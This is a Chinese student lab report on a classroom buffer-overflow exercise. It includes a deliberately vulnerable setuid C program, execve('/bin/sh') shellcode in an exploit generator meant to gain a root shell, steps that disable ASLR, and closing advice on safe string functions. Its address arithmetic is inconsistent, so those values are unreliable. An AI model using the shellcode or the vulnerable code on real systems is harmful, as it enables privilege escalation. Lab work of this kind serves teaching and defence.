2022-2023-1 20221020漆心雨《 缓冲区溢出实验》

缓冲区溢出实验

一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、实验准备
注意gdb的安装，实验楼中没有Python的安装包

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y gdb
三、实验步骤
3.1初始化设置
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
1.Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

2.设置zsh程序

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

图2

3.进入32位linux环境

 

3.2漏洞程序
在 /tmp 目录下新建一个 stack.c 文件：

cd /tmp
vim stack.c

stack.c,通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

编译该程序，并设置 SET-UID。命令如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

gdb stack
disass main
结果图：

esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。

 

 

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。

在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

gdb stack
disass main

 

结果如图：

esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。

地址可能不一致，请根据你的显示结果自行修改。

接下来的操作：

# 设置断点
b *0x080484ee
r
i r $esp

 

（注：结果忘记截图了，我的结果是0xffffd4b0

最后获得的这个 0xffffd4b0就是 str 的地址。

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014。

可以使用 十六进制加法计算器 计算。

 

现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd5\xff\xff，注意顺序是反的。

然后，编译 exploit.c 程序：

gcc -m32 -o exploit exploit.c

3.4 攻击结果
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

 

 

缓冲区溢出的防范

缓冲区溢出一般是由于一下原因导致：

1.字符串处理函数没有指定长度，单单凭借结尾字符是不是'\0'来判断结束。

2.被处理的字符超过缓冲区可接受的大小。例如，从屏幕输入字符串：gets(buff)，但是buff的内存少于屏幕一行字符个数，就会导致溢出，应该使用fgets。

3.所有格式化字符串的函数：fprintf("%n",&num_write)。

避免的办法：

1.不要用%n formatter

2.不要把用户的输入作为参数传到格式化字符串处理函数中，例如，printf("%s", argv[1])。

3.字符串处理避免使用strcpy，strcat，sprintf，gets。应该使用strncpy，strncat，snprintf。strlcpy和strlcat都是NULL结尾。尽量使用std::string，MFC::CString

4.使用C++ I/O函数

5.使用安全的C Runtime Time函数*_s function，关于安全函数请看https://msdn.microsoft.com/library/wd3wzwts.aspx

6.检查文件路径的长度，不要超过系统允许的最大值。